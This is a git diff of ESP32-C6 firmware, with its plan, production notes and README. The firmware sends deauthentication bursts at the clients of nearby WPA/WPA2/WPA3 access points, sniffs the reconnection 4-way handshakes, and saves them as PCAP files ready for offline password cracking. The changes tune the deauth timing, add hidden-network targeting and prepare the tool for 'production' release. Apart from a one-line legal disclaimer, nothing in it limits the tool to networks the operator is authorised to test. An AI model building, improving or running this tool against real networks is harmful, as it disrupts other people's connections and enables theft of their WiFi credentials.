diff --git a/handshake-capture-c6/HandshakeCapture.cpp b/handshake-capture-c6/HandshakeCapture.cpp index 4f97e62..29c5e79 100644 --- a/handshake-capture-c6/HandshakeCapture.cpp +++ b/handshake-capture-c6/HandshakeCapture.cpp @@ -4,6 +4,11 @@ #include #include +// Set 0 to use STA-only (test deauth + promiscuous on your core first). +#ifndef USE_SOFTAP +#define USE_SOFTAP 1 +#endif + // ─── Internal prototypes ─── static void promiscuousRxCallback(void* buf, wifi_promiscuous_pkt_type_t type); @@ -12,29 +17,35 @@ static bool pcapAppendSlot(CaptureSlot* slot, const uint8_t* frame, size_t len); static void sendDeauthToClient(const uint8_t* bssid, const uint8_t* client_mac); static void sendDeauthBurstAll(); static bool addClientToSlot(CaptureSlot* slot, const uint8_t* mac); -static bool eapolHasPmkid(const uint8_t* payload, uint16_t len, uint16_t mac_hdr_len); static int getNextChannelSweep(); +static void sanitizeFilenameForFat(String& path); +static void discardSlotCapture(CaptureSlot* s, int slot_index); // ─── Shared state ─── WifiNetwork networks[MAX_NETWORKS]; CaptureSlot slots[MAX_SLOTS]; -volatile int pending_save_slots[MAX_SLOTS] = {-1, -1, -1}; +volatile int pending_save_slots[MAX_SLOTS] = {-1, -1}; bool is_capturing = false; int current_channel = 0; -volatile int latest_eapol_count = 0; +volatile uint8_t latest_eapol_count[MAX_SLOTS] = {0, 0}; CapturePhase capturePhase = PHASE_OBSERVING; // ─── Phase timing ─── -#define OBSERVE_DURATION_MS 5000 -#define CAPTURE_TIMEOUT_MS 10000 +// Longer windows: handshakes often arrive a few seconds after deauth; sweep all BSSIDs over time. +#define OBSERVE_DURATION_MS 8000 +#define CAPTURE_TIMEOUT_MS 20000 #define DEAUTH_BURST_COUNT 5 #define DEAUTH_BURST_DELAY 2 // ms between frames in a burst -#define MAX_PHASE_RETRIES 3 // 3 full cycles before moving to next channel +#define MAX_OBSERVE_CYCLES 5 // observe→deauth→capture rounds per channel visit +#define DEAUTH_GAP_AFTER_CLIENT_MS 80 // RX window between client bursts +#define DEAUTH_GAP_AFTER_SLOT_MS 120 // RX window between AP slots +// EAPOL frames from the same slot/session append to one buffer across cycles (same AP visit). static unsigned long phase_timer = 0; -static uint8_t phase_retries = 0; +// Counts completed observe windows that led to a deauth burst (1..MAX_OBSERVE_CYCLES). +static uint8_t deauth_cycle_count = 0; static int last_channel = 0; // Spinlock for data shared between promiscuous callback (WiFi task) @@ -65,13 +76,50 @@ static void markBssidCaptured(const uint8_t* bssid) { } } +static void sanitizeFilenameForFat(String& path) { + for (unsigned i = 0; i < path.length(); i++) { + char c = path[i]; + if (c == '/') continue; + if ((unsigned char)c < 0x20 || c == '"' || c == '*' || c == '\\' || c == ':' || + c == '?' || c == '<' || c == '>' || c == '|' || c == '\'' || c == '[' || c == ']') + path.setCharAt(i, '_'); + } +} + +// Release slot after failed/missing SD so capture never deadlocks on pending_save. +static void discardSlotCapture(CaptureSlot* s, int slot_index) { + pending_save_slots[slot_index] = -1; + s->pcap_size = 0; + s->active = false; + s->eapol_count = 0; + s->beacon_captured = false; + s->client_count = 0; + if (slot_index >= 0 && slot_index < MAX_SLOTS) + latest_eapol_count[slot_index] = 0; + + // Restore list row after failed save / missing SD (avoid stuck orange “active” look). + int ni = s->network_index; + if (ni >= 0 && ni < MAX_NETWORKS && !networks[ni].ssid.isEmpty()) { + char line[48]; + snprintf(line, sizeof(line), "%02d. %s ch%d", + ni + 1, networks[ni].ssid.c_str(), networks[ni].ch); + Ui_SetNetworkText(ni, line); + Ui_SetNetworkColor(ni, lv_palette_main(LV_PALETTE_GREEN)); + } +} + // ─── Init ─── void handshakeCaptureInit() { WiFi.mode(WIFI_STA); WiFi.disconnect(false, true); + WiFi.setSleep(false); delay(100); +#if USE_SOFTAP WiFi.mode(WIFI_AP_STA); +#else + WiFi.mode(WIFI_STA); +#endif esp_wifi_set_promiscuous(true); esp_wifi_set_promiscuous_rx_cb(promiscuousRxCallback); for (int i = 0; i < MAX_SLOTS; i++) { @@ -84,41 +132,66 @@ void handshakeCaptureInit() { void handshakeCaptureProcessPending() { for (int i = 0; i < MAX_SLOTS; i++) { if (pending_save_slots[i] < 0) continue; - pending_save_slots[i] = -1; CaptureSlot* s = &slots[i]; - if (!s->active || s->pcap_size == 0) continue; - - String filename = "/handshake_"; - filename += s->ssid; - filename += "_"; - filename += String(millis() / 1000); - filename += ".pcap"; - filename.replace(" ", "_"); - - markBssidCaptured(s->bssid); - if (s->network_index >= 0 && s->network_index < MAX_NETWORKS) { - networks[s->network_index].handshake_captured = true; - Ui_SetNetworkColor(s->network_index, lv_palette_main(LV_PALETTE_RED)); + if (!s->active || s->pcap_size <= sizeof(pcap_global_header_t) || + s->eapol_count < HANDSHAKE_EAPOL_FRAMES) { + pending_save_slots[i] = -1; + continue; } + // Do not pre-check SD.cardType() here — it can read false after WiFi on shared SPI. + // If the card was pulled, SD.open/write below fails and we discard then. + if (!SD_IsReady()) { + SD_Init(); + } + if (!SD_IsReady()) { + Serial.println("SD not ready — discarding pending PCAP"); + Ui_SetWifiStatus("SD: insert card"); + discardSlotCapture(s, i); + continue; + } + + String filename = "/4way_"; + filename += s->ssid; + filename += "_"; + filename += String((unsigned long)millis()); + filename += "_s"; + filename += String(i); + filename += ".pcap"; + filename.replace(" ", "_"); + sanitizeFilenameForFat(filename); + File file = SD.open(filename.c_str(), FILE_WRITE); + bool ok = false; if (file) { if (file.write(s->pcap_buffer, s->pcap_size) == s->pcap_size) { - Serial.printf("Saved %s (%d bytes)\n", filename.c_str(), (int)s->pcap_size); - Ui_SetWifiStatus("Saved PCAP!"); + Serial.printf("Saved 4-way %s (%d bytes)\n", filename.c_str(), (int)s->pcap_size); + Ui_SetWifiStatus("4-way saved!"); + ok = true; } else { - Serial.println("SD Write Failed!"); - Ui_SetWifiStatus("SD Write Err!"); + Serial.println("SD write failed — discarding buffer"); + Ui_SetWifiStatus("SD write err"); } file.close(); } else { - Serial.println("SD Open Failed!"); - Ui_SetWifiStatus("SD Open Err!"); + Serial.println("SD open failed — discarding buffer"); + Ui_SetWifiStatus("SD open err"); } - s->pcap_size = 0; - s->active = false; + if (ok) { + pending_save_slots[i] = -1; + markBssidCaptured(s->bssid); + if (s->network_index >= 0 && s->network_index < MAX_NETWORKS) { + networks[s->network_index].handshake_captured = true; + Ui_SetNetworkColor(s->network_index, lv_palette_main(LV_PALETTE_RED)); + } + s->pcap_size = 0; + s->active = false; + latest_eapol_count[i] = 0; + } else { + discardSlotCapture(s, i); + } } refillSlots(); } @@ -166,7 +239,9 @@ bool compareRSSI(const WifiNetwork& a, const WifiNetwork& b) { bool isCaptureable(int index) { if (index < 0 || index >= MAX_NETWORKS || networks[index].ssid.isEmpty()) return false; const String& enc = networks[index].encryption; - return enc == "WPA" || enc == "WPA2" || enc == "WPA/WPA2"; + if (enc == "WPA" || enc == "WPA2" || enc == "WPA/WPA2") return true; + if (enc == "WPA3" || enc == "WPA2/WPA3") return true; + return false; } int getCaptureableCount() { @@ -178,26 +253,6 @@ int getCaptureableCount() { return n; } -int getBestChannel() { - int best_ch = 0; - int best_count = 0; - int ch_counts[15] = {0}; - - for (int i = 0; i < MAX_NETWORKS; i++) { - if (networks[i].ssid.isEmpty()) break; - if (networks[i].handshake_captured || !isCaptureable(i)) continue; - int ch = networks[i].ch; - if (ch >= 1 && ch <= 14) { - ch_counts[ch - 1]++; - if (ch_counts[ch - 1] > best_count) { - best_count = ch_counts[ch - 1]; - best_ch = ch; - } - } - } - return best_ch; -} - static int getNextChannelSweep() { int ch_counts[15] = {0}; for (int i = 0; i < MAX_NETWORKS; i++) { @@ -216,17 +271,33 @@ static int getNextChannelSweep() { return 0; } +static void clearNetworkList() { + for (int i = 0; i < MAX_NETWORKS; i++) { + networks[i].ssid = ""; + networks[i].encryption = ""; + memset(networks[i].bssid, 0, 6); + networks[i].ch = 0; + networks[i].rssi = 0; + networks[i].handshake_captured = false; + } +} + void scanNetworksSortedByRSSI() { - memset(networks, 0, sizeof(networks)); - int n = WiFi.scanNetworks(false, false); + clearNetworkList(); + int n = WiFi.scanNetworks(false, true); if (n == 0) return; int stored = 0; for (int i = 0; i < n && stored < MAX_NETWORKS; i++) { String ssid = WiFi.SSID(i); - if (ssid.isEmpty()) continue; - - networks[stored].ssid = ssid; + if (ssid.isEmpty()) { + const uint8_t* b = WiFi.BSSID(i); + char hid[24]; + snprintf(hid, sizeof(hid), "_%02X%02X%02X", b[3], b[4], b[5]); + networks[stored].ssid = hid; + } else { + networks[stored].ssid = ssid; + } memcpy(networks[stored].bssid, WiFi.BSSID(i), 6); networks[stored].ch = WiFi.channel(i); networks[stored].rssi = WiFi.RSSI(i); @@ -237,6 +308,12 @@ void scanNetworksSortedByRSSI() { else if (enc == WIFI_AUTH_WPA2_PSK) networks[stored].encryption = "WPA2"; else if (enc == WIFI_AUTH_WPA_WPA2_PSK) networks[stored].encryption = "WPA/WPA2"; else if (enc == WIFI_AUTH_WPA2_ENTERPRISE) networks[stored].encryption = "WPA2 Enterprise"; +#if defined(WIFI_AUTH_WPA3_PSK) + else if (enc == WIFI_AUTH_WPA3_PSK) networks[stored].encryption = "WPA3"; +#endif +#if defined(WIFI_AUTH_WPA2_WPA3_PSK) + else if (enc == WIFI_AUTH_WPA2_WPA3_PSK) networks[stored].encryption = "WPA2/WPA3"; +#endif else networks[stored].encryption = "Unknown"; networks[stored].handshake_captured = wasBssidCaptured(networks[stored].bssid); @@ -334,12 +411,14 @@ static void sendDeauthBurstAll() { Serial.printf("[%s] deauth -> %d client(s)\n", s->ssid, s->client_count); for (uint8_t c = 0; c < s->client_count; c++) { sendDeauthToClient(s->bssid, s->clients[c].mac); + if (c + 1 < s->client_count) delay(DEAUTH_GAP_AFTER_CLIENT_MS); } } else { Serial.printf("[%s] deauth -> broadcast (no clients mapped)\n", s->ssid); uint8_t bcast[6] = {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}; sendDeauthToClient(s->bssid, bcast); } + delay(DEAUTH_GAP_AFTER_SLOT_MS); } } @@ -377,7 +456,8 @@ void startMultiCapture() { is_capturing = true; capturePhase = PHASE_OBSERVING; phase_timer = millis(); - phase_retries = 0; + deauth_cycle_count = 0; + for (int k = 0; k < MAX_SLOTS; k++) latest_eapol_count[k] = 0; esp_wifi_set_channel(current_channel, WIFI_SECOND_CHAN_NONE); Serial.printf("Phase 2: observing ch %d (%d target(s))\n", current_channel, filled); @@ -388,7 +468,7 @@ void stopCapture() { is_capturing = false; for (int i = 0; i < MAX_SLOTS; i++) { if (slots[i].active) { - if (slots[i].eapol_count >= 1) { + if (slots[i].eapol_count >= HANDSHAKE_EAPOL_FRAMES) { pending_save_slots[i] = i; } else { slots[i].pcap_size = 0; @@ -422,17 +502,17 @@ void handshakeCaptureLoop() { capturePhase = PHASE_CAPTURING; phase_timer = now; - phase_retries++; + deauth_cycle_count++; Serial.println("Phase 4: capturing handshakes..."); } } - // Phase 4 timeout → re-observe or let .ino CHANNEL_TIMEOUT handle final stop + // Phase 4 timeout → re-observe, or end session after MAX_OBSERVE_CYCLES deauth bursts if (capturePhase == PHASE_CAPTURING) { if (now - phase_timer >= CAPTURE_TIMEOUT_MS) { - if (phase_retries < MAX_PHASE_RETRIES) { + if (deauth_cycle_count < MAX_OBSERVE_CYCLES) { Serial.printf("Capture timeout. Re-observing (cycle %d/%d)...\n", - phase_retries + 1, MAX_PHASE_RETRIES); + (int)deauth_cycle_count + 1, MAX_OBSERVE_CYCLES); portENTER_CRITICAL(&capture_mux); for (int i = 0; i < MAX_SLOTS; i++) { if (slots[i].active) slots[i].client_count = 0; @@ -441,6 +521,9 @@ void handshakeCaptureLoop() { capturePhase = PHASE_OBSERVING; phase_timer = now; + } else { + Serial.println("Max observe/deauth cycles done; stopping capture on this channel."); + stopCapture(); } } } @@ -543,8 +626,7 @@ static void promiscuousRxCallback(void* buf, wifi_promiscuous_pkt_type_t type) { if (is_beacon) { if (!s->beacon_captured && len >= 36 && memcmp(&payload[10], s->bssid, 6) == 0) { - s->beacon_captured = true; - pcapAppendSlot(s, payload, len); + if (pcapAppendSlot(s, payload, len)) s->beacon_captured = true; } portEXIT_CRITICAL(&capture_mux); return; @@ -557,62 +639,14 @@ static void promiscuousRxCallback(void* buf, wifi_promiscuous_pkt_type_t type) { } if (is_eapol) { - s->eapol_count++; - pcapAppendSlot(s, payload, len); - latest_eapol_count = s->eapol_count; - - // Save immediately on PMKID presence (M1 can be sufficient) - if (s->eapol_count == 1 && eapolHasPmkid(payload, len, mhl)) { - pending_save_slots[hit_slot] = hit_slot; - } else if (s->eapol_count >= 2) { - pending_save_slots[hit_slot] = hit_slot; + if (pcapAppendSlot(s, payload, len)) { + s->eapol_count++; + latest_eapol_count[hit_slot] = s->eapol_count; + if (s->eapol_count >= HANDSHAKE_EAPOL_FRAMES) { + pending_save_slots[hit_slot] = hit_slot; + } } } portEXIT_CRITICAL(&capture_mux); } - -// Minimal PMKID KDE detection for RSN (00:0f:ac:04) -// payload points at 802.11 header start; mac_hdr_len points at LLC/SNAP start. -static bool eapolHasPmkid(const uint8_t* payload, uint16_t len, uint16_t mac_hdr_len) { - if (mac_hdr_len == 0) return false; - if (len < mac_hdr_len + 8 + 4) return false; // LLC/SNAP + EAPOL hdr - - // LLC/SNAP is 8 bytes: DSAP,SSAP,CTRL,OUI(3),Ethertype(2) - const uint16_t eapol_off = mac_hdr_len + 8; - if (len < eapol_off + 4) return false; - - // EAPOL header - // [0]=ver, [1]=type, [2..3]=len - uint8_t eapol_type = payload[eapol_off + 1]; - if (eapol_type != 3) return false; // EAPOL-Key - - uint16_t eapol_len = ((uint16_t)payload[eapol_off + 2] << 8) | payload[eapol_off + 3]; - if (len < eapol_off + 4 + eapol_len) return false; - - const uint16_t key_off = eapol_off + 4; - if (eapol_len < 95) return false; // too small to contain WPA2 key + KDEs - - // WPA2 EAPOL-Key fixed fields are 95 bytes after key descriptor type - // Key Data Length is at offset 97–98 from start of key frame (descriptor included). - // Layout: desc(1), key_info(2), key_len(2), replay(8), nonce(32), iv(16), - // rsc(8), id(8), mic(16), key_data_len(2), key_data(variable) - const uint16_t key_data_len_off = key_off + 1 + 2 + 2 + 8 + 32 + 16 + 8 + 8 + 16; - if (key_data_len_off + 2 > key_off + eapol_len) return false; - - uint16_t key_data_len = ((uint16_t)payload[key_data_len_off] << 8) | payload[key_data_len_off + 1]; - const uint16_t key_data_off = key_data_len_off + 2; - if (key_data_off + key_data_len > key_off + eapol_len) return false; - if (key_data_len < 20) return false; - - // Search for RSN KDE: dd 14 00 0f ac 04 <16 bytes PMKID> - for (uint16_t i = 0; i + 22 <= key_data_len; i++) { - const uint16_t p = key_data_off + i; - if (payload[p] != 0xDD) continue; - if (payload[p + 1] != 0x14) continue; - if (payload[p + 2] != 0x00 || payload[p + 3] != 0x0F || payload[p + 4] != 0xAC) continue; - if (payload[p + 5] != 0x04) continue; - return true; - } - return false; -} diff --git a/handshake-capture-c6/HandshakeCapture.h b/handshake-capture-c6/HandshakeCapture.h index ff837a8..3d87e07 100644 --- a/handshake-capture-c6/HandshakeCapture.h +++ b/handshake-capture-c6/HandshakeCapture.h @@ -5,7 +5,14 @@ #include "esp_wifi.h" #include -#define MAX_SLOTS 3 +/** Semantic version (Serial banner + support). */ +#define HANDSHAKE_FIRMWARE_VERSION "1.0.1" + +/** SD write only after this many EAPOL-Key frames (full WPA/WPA2 4-way). */ +#define HANDSHAKE_EAPOL_FRAMES 4 + +// Two APs at once: less on-air contention, more time per target before rotating. +#define MAX_SLOTS 2 #define MAX_NETWORKS 20 #define MAX_CLIENTS_PER_SLOT 8 #define PCAP_MAX_SIZE 4096 @@ -63,7 +70,7 @@ enum CapturePhase : uint8_t { extern WifiNetwork networks[MAX_NETWORKS]; extern CaptureSlot slots[MAX_SLOTS]; extern volatile int pending_save_slots[MAX_SLOTS]; -extern volatile int latest_eapol_count; +extern volatile uint8_t latest_eapol_count[MAX_SLOTS]; extern bool is_capturing; extern int current_channel; extern CapturePhase capturePhase; @@ -78,4 +85,3 @@ void stopCapture(); bool isCaptureable(int index); void handshakeCaptureLoop(); int getCaptureableCount(); -int getBestChannel(); diff --git a/handshake-capture-c6/IMPROVEMENTS.md b/handshake-capture-c6/IMPROVEMENTS.md index 8ff703d..f694ae5 100644 --- a/handshake-capture-c6/IMPROVEMENTS.md +++ b/handshake-capture-c6/IMPROVEMENTS.md @@ -1,5 +1,7 @@ # Firmware Performance Improvements +> **Production / release:** see **`README.md`** (Production checklist) and **`PRODUCTION.md`**. Bump **`HANDSHAKE_FIRMWARE_VERSION`** in `HandshakeCapture.h` for each field build. + Review of handshake-capture-c6 for ESP32-C6 1.47" LCD. Ordered by impact and effort. --- diff --git a/handshake-capture-c6/PLAN.md b/handshake-capture-c6/PLAN.md new file mode 100644 index 0000000..2ff4231 --- /dev/null +++ b/handshake-capture-c6/PLAN.md @@ -0,0 +1,251 @@ +# Full-scale fix plan — handshake-capture-c6 + +This plan addresses the issues from the firmware review. Work in **phases** so each step compiles, flashes, and can be verified before the next. + +## Implementation status (in firmware) + +| Phase | Status | +|-------|--------| +| 1 String/memset | Done — `clearNetworkList()` replaces `memset(networks)` | +| 2 State machine | Done — `deauth_cycle_count` + `MAX_OBSERVE_CYCLES`; `stopCapture()` after last cycle | +| 3 EAPOL UI | Done — `latest_eapol_count[MAX_SLOTS]`, status `E a/b/c` | +| 4 Stagger deauth | Done — `DEAUTH_GAP_AFTER_CLIENT_MS` / `DEAUTH_GAP_AFTER_SLOT_MS` | +| 5 Pending save | Done — clear pending + slot only after successful SD write | +| 6 STA-only | Done — `#define USE_SOFTAP 1` default; set `0` to try STA-only | +| 7 Hidden SSID | Done — `scanNetworks(false,true)`, `_XXXXXX` names | +| 8 Enterprise | Not done (optional) | +| 9 PMKID TLV | Not done (optional) | +| 10 Cleanup | Done — removed `getBestChannel`, `WiFiScanner_Init`; `setSleep` in init | +| 11 UI lock | Not done (optional) | + +--- + +## Phase 0 — Preconditions (no code) + +| Item | Action | +|------|--------| +| Backup | Tag or branch `before-plan-fixes` | +| Test harness | One known WPA2 AP + one client; SD inserted; serial at 115200 | +| Success criteria | After each phase: compile `esp32:esp32:esp32c6`, flash, run 2 full channel cycles without crash | + +--- + +## Phase 1 — Critical: `String` + `memset` (must fix first) + +**Problem:** `scanNetworksSortedByRSSI()` does `memset(networks, 0, sizeof(networks))` while `WifiNetwork` contains `String` — undefined behavior / heap corruption risk. + +**Approach (pick one):** + +### Option A — Minimal change (recommended) +- Replace `memset(networks, 0, sizeof(networks))` with an explicit clear loop: + ```cpp + for (int i = 0; i < MAX_NETWORKS; i++) { + networks[i].ssid = ""; + networks[i].encryption = ""; + networks[i].bssid[0] = 0; // or memset only the POD tail + networks[i].ch = 0; + networks[i].rssi = 0; + networks[i].handshake_captured = false; + } + ``` +- Do **not** `memset` the whole struct. + +### Option B — Structural (later refactor) +- Change `WifiNetwork` to fixed buffers: `char ssid[33]`, `char encryption[24]`, then `memset` or zero-init is safe. +- Touches: `HandshakeCapture.h`, `HandshakeCapture.cpp`, `WiFi_Scanner.cpp`, `handshake-capture-c6.ino` (any `.c_str()` / `String` compare). + +**Files:** `HandshakeCapture.cpp` (required), optionally full Option B across project. + +**Acceptance:** Scan → list → capture → rescan 10× with no heap weirdness / reboot. + +--- + +## Phase 2 — State machine clarity (`phase_retries` / channel window) + +**Problem:** `phase_retries` increments on observe→capture transition; after 3rd capture timeout the inner loop stops cycling but stays in `PHASE_CAPTURING` until `.ino` `CHANNEL_TIMEOUT_MS`. Confusing and hard to tune. + +**Approach:** +1. Rename for truth: e.g. `deauth_burst_count` or `observe_cycles_completed` (document what increments where). +2. **Either:** + - **2a.** After the last allowed cycle (no more re-observe), explicitly call `stopCapture()` from `handshakeCaptureLoop()` so channel session ends on inner logic (and align `CHANNEL_TIMEOUT_MS` as a hard ceiling only), **or** + - **2b.** Keep current “linger in CAPTURING” but document in code + README that outer timeout is intentional listen-only tail. + +**Files:** `HandshakeCapture.cpp`, `handshake-capture-c6.ino` (timeout values if 2a). + +**Acceptance:** Serial log shows exactly N observe→deauth→capture cycles, then predictable stop or handoff to scan. + +--- + +## Phase 3 — `latest_eapol_count` / UI honesty + +**Problem:** One global counter; UI “EAPOL N” is ambiguous with 3 slots. + +**Approach:** +1. Replace `volatile int latest_eapol_count` with `volatile uint8_t latest_eapol_count[MAX_SLOTS]` (or keep max across slots for a single “best” display). +2. In callback, set `latest_eapol_count[i] = slots[i].eapol_count` when slot `i` gets EAPOL. +3. In `updateCaptureVisuals()` / status line: show e.g. `EAPOL 1/1/2` or `max=2` + `ch X` — pick one rule and stick to it. + +**Files:** `HandshakeCapture.h`, `HandshakeCapture.cpp`, `handshake-capture-c6.ino`. + +**Acceptance:** With 2 active targets, status reflects both or clearly states “max”. + +--- + +## Phase 4 — Staggered deauth (capture yield) + +**Problem:** Back-to-back TX blinds RX around reconnect. + +**Approach:** +1. In `sendDeauthBurstAll()` / `sendDeauthToClient()`: + - After each **client’s** burst (or each N frames), `delay(50–100)` or `vTaskDelay` ms **or** yield-only if you prefer minimal sleep. + - Round-robin: 1 frame per client × 5 rounds with 20 ms between rounds (tune). +2. Add `#define` constants at top of `HandshakeCapture.cpp` for easy tuning. + +**Files:** `HandshakeCapture.cpp`. + +**Acceptance:** Same AP/client test; subjective + optional Wireshark on second radio showing less contiguous TX. + +--- + +## Phase 5 — `pending_save_slots` hardening + +**Problem:** Rare race: callback sets pending again while main clears and writes SD. + +**Approach:** +1. Don’t set `pending_save_slots[i] = -1` until **after** successful `file.close()` **or** use a two-phase flag: `save_requested[i]` vs `save_in_progress[i]`. +2. Simpler variant: only clear pending after write succeeds; on failure leave slot active and re-queue. + +**Files:** `HandshakeCapture.cpp` (`handshakeCaptureProcessPending`). + +**Acceptance:** Stress test: force slow SD (if possible) or inject double-EAPOL path — no lost save flag. + +--- + +## Phase 6 — WiFi mode: STA-only trial + +**Problem:** `WIFI_AP_STA` with unused SoftAP wastes airtime/power. + +**Approach:** +1. Add `#define USE_SOFTAP 0` (default 0). +2. In `handshakeCaptureInit()`, `WiFi.mode(USE_SOFTAP ? WIFI_AP_STA : WIFI_STA)`. +3. **Test matrix:** promiscuous on, `esp_wifi_80211_tx` deauth still accepted on your core. If TX fails, document and keep `WIFI_AP_STA`. + +**Files:** `HandshakeCapture.cpp`, short note in `README.md`. + +**Acceptance:** Capture + deauth still work; no regression on C6. + +--- + +## Phase 7 — Hidden SSIDs + +**Problem:** Empty SSID skipped in scan. + +**Approach:** +1. `WiFi.scanNetworks(false, true)` — include hidden where supported. +2. If `ssid.isEmpty()`, set `networks[i].ssid = ""` (or `HIDDEN_xx` + last BSSID octets for uniqueness in filenames). +3. Filename sanitizer: strip/replace `/` and odd chars for FAT. + +**Files:** `HandshakeCapture.cpp`, `handshakeCaptureProcessPending` (filename). + +**Acceptance:** Hidden WPA2 AP appears in list and can be captured if BSSID/channel match. + +--- + +## Phase 8 — Optional coverage: WPA2 Enterprise / WPA3 + +**Problem:** `isCaptureable()` excludes enterprise; WPA3 is different handshake. + +**Approach:** +1. **Enterprise:** Add `enc == "WPA2 Enterprise"` to `isCaptureable()` if goal is EAP capture (PCAP still useful; cracking differs). +2. **WPA3:** Separate project slice — detect SAE, different EAPOL handling; only if you need it. + +**Files:** `HandshakeCapture.cpp` (minimal: enterprise only first). + +**Acceptance:** Enterprise networks show as targets; no crash (capture may still be hard depending on network). + +--- + +## Phase 9 — PMKID parser robustness (optional) + +**Problem:** Fixed WPA2 RSN offsets; odd drivers may differ. + +**Approach:** +1. Walk Key Data as TLV (length-checked) instead of fixed offset where possible. +2. Keep existing fast path; add fallback scan for `00 0f ac 04` PMKID KDE. + +**Files:** `HandshakeCapture.cpp` (`eapolHasPmkid`). + +**Acceptance:** Still detects PMKID on standard APs; no regressions on bounds. + +--- + +## Phase 10 — Cleanup + init + +**Problem:** Dead `getBestChannel()` vs `getNextChannelSweep()`, unused `WiFiScanner_Init()`. + +**Approach:** +1. Remove `getBestChannel` from header if unused, or use it inside sweep for “first channel” bias. +2. Call `WiFiScanner_Init()` from `setup()` **or** delete and merge `WiFi.setSleep(false)` into `handshakeCaptureInit()`. + +**Files:** `HandshakeCapture.h`, `HandshakeCapture.cpp`, `WiFi_Scanner.cpp`, `handshake-capture-c6.ino`. + +--- + +## Phase 11 — UI concurrency (optional polish) + +**Problem:** `updateCaptureVisuals()` reads slots without lock. + +**Approach:** +1. Snapshot `slots[i].active`, `network_index`, `eapol_count`, `client_count` under `portENTER_CRITICAL` into a small struct array, then paint LVGL outside lock. +2. Or accept rare flicker and document as cosmetic-only. + +**Files:** `handshake-capture-c6.ino` (or move snapshot helper to `HandshakeCapture.cpp`). + +--- + +## Recommended order (dependency graph) + +``` +Phase 1 (String/memset) ──┬──► Phase 2 (state machine) + ├──► Phase 3 (EAPOL UI) + ├──► Phase 4 (deauth stagger) + ├──► Phase 5 (pending save) + ├──► Phase 6 (STA-only test) + └──► Phase 7 (hidden SSID) + +Phase 8–11 independent after Phase 1, in any order you care about. +``` + +--- + +## Effort summary + +| Phase | Effort | Risk | +|-------|--------|------| +| 1 | Small | Low | +| 2 | Small–medium | Medium (behavior change if 2a) | +| 3 | Small | Low | +| 4 | Small | Low | +| 5 | Small | Low | +| 6 | Tiny | Medium (HW/core dependent) | +| 7 | Small | Low | +| 8 | Small | Medium (scope creep) | +| 9 | Medium | Medium | +| 10 | Tiny | Low | +| 11 | Small | Low | + +--- + +## Single “definition of done” for the whole plan + +- [ ] No `memset` over structs containing `String`. +- [ ] Cycle count / stop behavior documented and matches serial logs. +- [ ] UI EAPOL display unambiguous for multi-slot. +- [ ] Deauth stagger tuned and `#define`’d. +- [ ] Pending-save race handled or explicitly accepted. +- [ ] STA-only tested; default documented. +- [ ] Hidden SSIDs handled or explicitly out of scope. +- [ ] Dead code removed or wired. +- [ ] Clean build + flash on ESP32-C6. + +When you’re ready, say **“implement phase N”** and we’ll execute that slice only. diff --git a/handshake-capture-c6/PRODUCTION.md b/handshake-capture-c6/PRODUCTION.md new file mode 100644 index 0000000..ae5d57a --- /dev/null +++ b/handshake-capture-c6/PRODUCTION.md @@ -0,0 +1,16 @@ +# Production notes + +This file summarizes behavior locked in for a **shippable** build. Detailed design history lives in `PLAN.md` / `IMPROVEMENTS.md`. + +## Correctness & robustness + +- **4-way only:** `HANDSHAKE_EAPOL_FRAMES` in `HandshakeCapture.h` — SD write only when count is reached; `stopCapture()` only queues save if threshold met. +- **No SD deadlock:** If the card is missing or open/write fails, the pending buffer is **dropped** and the slot cleared so the state machine and UI keep progressing. +- **FAT filenames:** Non-portable characters in paths are replaced before `SD.open`. +- **Concurrency:** Promiscuous callback uses short critical sections; SD I/O only in `handshakeCaptureProcessPending()` on the main loop. + +## Operational + +- **Version:** `HANDSHAKE_FIRMWARE_VERSION` — change on every release; matches serial banner. +- **Capture gating:** Main sketch calls `SD_Init()` / requires `SD_IsReady()` before `startMultiCapture()` (not `SD.cardType()` alone — shared SPI + WiFi). +- **Authorization:** Operator must comply with local law and organizational policy. diff --git a/handshake-capture-c6/README.md b/handshake-capture-c6/README.md index f15ebc9..0ad1a35 100644 --- a/handshake-capture-c6/README.md +++ b/handshake-capture-c6/README.md @@ -1,15 +1,26 @@ # Handshake Capture - ESP32-C6 1.47" LCD -Automatic WiFi 4-way handshake capture for Waveshare ESP32-C6-LCD-1.47. +Production-oriented WiFi 4-way handshake capture for Waveshare ESP32-C6-LCD-1.47. + +**Firmware version:** `HANDSHAKE_FIRMWARE_VERSION` in `HandshakeCapture.h` (also printed on serial at boot). ## Features -- **SD card storage**: Saves `.pcap` files to TF card (not SPIFFS) -- **Auto-deauth**: Aggressive 150ms deauth interval to force handshakes -- **Display**: Networks in **green** = not captured, **red** = captured -- **No web interface**: Capture-only device -- **WPA/WPA2 only**: Skips Open/WEP networks -- **BSSID cache**: Captured networks stay red across rescans +- **SD required for capture:** No card, or open/write failure → pending PCAP is **discarded** and the slot freed (no infinite pending). Hot-insert: sketch retries `SD_Init()` before each capture round. +- **SD storage:** Saves **only complete 4-way handshakes** as `.pcap` (LINKTYPE_IEEE802_11): `4way___s.pcap`. Filenames are **FAT-sanitized**. No PMKID-only or partial EAPOL dumps. +- **Auto-deauth:** Bursts toward mapped clients to provoke a full 4-way. +- **Display:** **Green** = pending, **red** = 4-way saved to SD. +- **No web UI:** Capture-only device. +- **WPA / WPA2 / WPA3 PSK / mixed** (when the core reports them). Skips Open, WEP, WPA2-Enterprise. +- **BSSID cache:** Captured BSSIDs stay red across rescans. + +**Convert:** `hcxpcapngtool` / Wireshark / aircrack-ng expect PCAP with EAPOL-Key frames; a full 4-way is included in each saved file (plus one target beacon when available). + +### “Partial” captures — what’s actually possible + +- **Not mergeable across random reconnects:** EAPOL messages from *different* 4-way runs (different nonces / MIC context) usually **cannot** be stitched into one crackable handshake. Tools need a **coherent** set for that AP↔STA association attempt. +- **Within one visit, frames can trickle in:** While tuned to a channel, the device keeps **one PCAP buffer per target AP**. If the client reconnects several times during the same session, **all EAPOL frames append** until either four are seen (then SD save) or the channel round ends without four (buffer dropped — no file). +- **Fewer than four frames:** Some attacks (e.g. **PMKID in message 1**, or classic **M1+M2** with beacon) need fewer frames, but this firmware **only saves on four** so every file is a clean full 4-way for your earlier requirement. ## Hardware @@ -41,7 +52,22 @@ Use `arduino-cli board list` to find the correct port. ## Flow 1. Boot → scan → display networks (green) -2. Pick first uncaptured WPA/WPA2 network -3. Set channel, deauth every 150ms, capture EAPOL -4. On full handshake → save to SD, mark red, next network -5. When all done → rescan, repeat +2. Channel sweep + **up to 2 WPA APs at a time** on that channel; **map clients → deauth 